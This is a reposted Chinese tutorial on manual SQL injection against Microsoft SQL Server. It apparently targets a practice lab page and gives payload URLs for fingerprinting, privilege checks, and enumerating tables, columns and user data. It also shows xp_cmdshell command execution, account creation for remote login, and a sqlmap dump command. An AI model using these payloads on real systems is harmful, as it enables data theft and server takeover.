ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

MSSQL手工注入

2019-10-30 23:00:30  阅读:264  来源: 互联网

标签:asp http name 手工 less MSSQL id select 注入


一、手工注入

Step1:检测注入点

  通过payload检测   

  http://……/less-1.asp?id=1' and 1=1--

  http://……/less-1.asp?id=1' and 1=2--

Step2:判断数据库类型

  select * from sysobjects   (sysobjects 系统对象表,保存当前数据库的对象)

  select * from users where id=1 and exists(select * from sysobjects)    有结果说明该数据库是mssql

  http://……/less-1.asp?id=1' union select * from users where id=1 and exists(select * from sysobjects)--

Step3:注入点权限的判断(根据页面显示效果)

  select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0--

  select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('db_owner'))>0--

  select is_srvrolemember('public');判断是否有public权限,可以爆破表

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('public'))>0--

Step4:信息收集

  1‘ and (user)=1--

  当前数据库版本: select @@version    = 1  报错

  http://……/less-1.asp?id=1' and (select @@version)=1--

  当前用户:   user

  http://……/less-1.asp?id=1' and (user)=1--

  当前数据库:    select db_name()     

  http://……/less-1.asp?id=1' and (select db_name())=1--

    db_name(0) 当前数据库,其中的参数表示第几个数据库

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms'); 

      SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库

      where name not in ('master','aspcms')    表示查找的结果不在括号中的集合中

Step5:当前数据库中的表

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0    获取第一个表名

  http://……/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0)=1--

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails')   第二个表名

  http://……/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails'))=1--

Step6:获取指定表的字段名

  select top 1 column_name from test.information_schema.columns where table_name='users'   获取第一个字段

  http://……/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')=1--

  select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id')   第二个字段

  http://……/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))=1--

Step7:获取字段的数据

  select top 1 username from users

  http://……/less-1.asp?id=1' and (select top 1 username from users)=1--

Step8:解密数据,登录后台

 

二、MSSQL的 xp_cmdshell 模块

  select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

  exec master..xp_cmdshell 'whoami'    //执行系统命令

  http://………….asp?id=1';exec master..xp_cmdshell 'whoami'--    //不显示执行结果

  如果想看到执行命令之后的结果:需要创建一个临时表,将执行结果写进去,最后再读

  也可以直接通过命令创建用户,通过远程桌面登录目标计算机

 

三、使用SQLMAP对MSSQL注入漏洞进行利用

  sqlmap.py -u “target_url” -dbs mssql --dump --force-pivoting

 

 

  

 

标签:asp,http,name,手工,less,MSSQL,id,select,注入
来源: https://www.cnblogs.com/yuanshu/p/11761185.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有